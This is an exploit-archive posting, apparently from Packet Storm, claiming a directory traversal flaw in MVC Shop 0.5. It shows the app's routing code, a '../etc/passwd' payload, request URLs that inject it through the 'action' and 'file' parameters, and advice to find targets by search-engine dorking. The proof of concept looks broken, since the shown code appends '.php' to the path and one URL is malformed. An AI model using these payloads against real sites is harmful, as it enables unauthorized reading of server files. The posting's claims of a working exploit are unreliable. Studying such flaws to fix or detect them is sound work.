what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

MVC Shop 0.5 Directory Traversal

MVC Shop 0.5 Directory Traversal
Posted Jun 9, 2023
Authored by indoushka

MVC Shop version 0.5 suffers from a directory traversal vulnerability.

tags | exploit, file inclusion
SHA-256 | dc7f3b643d2fd9d01a507a4358afeee77fe7bdfb40e966c9d0c8f00fcdcd7866

MVC Shop 0.5 Directory Traversal

Change Mirror Download
====================================================================================================================================
| # Title : mvc-shop v0.5 Directory Traversal Vulnerability Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 65.0(32-bit) |
| # Vendor : https://github.com/tanhongit/new-mvc-shop/releases/tag/v0.5 |
| # Dork : |
====================================================================================================================================


poc :


[+] Dorking İn Google Or Other Search Enggine .

[+] infested file : index.php & admin.php

<!--
Developed by: TanHongIT
Website: https://tanhongit.com - https://tanhongit.net
Github: https://github.com/TanHongIT
-->
<?php
session_start();
require_once('lib/model.php');
require_once('lib/functions.php');
require_once('content/models/cart.php');
require "lib/statistics.php";
require "lib/counter.php";
// $count_file = 'logs/counter.txt';
// $ip_file = 'logs/ip.txt';
// function counting_ip()
// {
// $ip = $_SERVER['REMOTE_ADDR'];
// global $count_file, $ip_file;

// if (!in_array($ip, file($ip_file, FILE_IGNORE_NEW_LINES))) {
// $current_val = (file_exists($count_file)) ? file_get_contents($count_file) : 0;
// file_put_contents($ip_file, $ip . "\n", FILE_APPEND);
// file_put_contents($count_file, ++$current_val);
// }
// }
// counting_ip();
if (isset($_GET['controller'])) $controller = $_GET['controller'];
else $controller = 'home';
if (isset($_GET['action'])) $action = $_GET['action'];
else $action = 'index';
$file = 'content/controllers/' . $controller . '/' . $action . '.php';
if (file_exists($file)) {
require($file);
} else {
show_404();
}


[+] use payload : ../../../../../../../../../etc/passwd

[+] https://127.0.0.1/chikoiquan.tanhongitcom/index.php?action=../../../../../../../../../etc/passwd

[+] https://127.0.0.1/https://chikoiquan.tanhongitcom/admin.php?file=../../../../../../../../../etc/passwd


== Greetings to :===========================================================================
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* |
============================================================================================
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close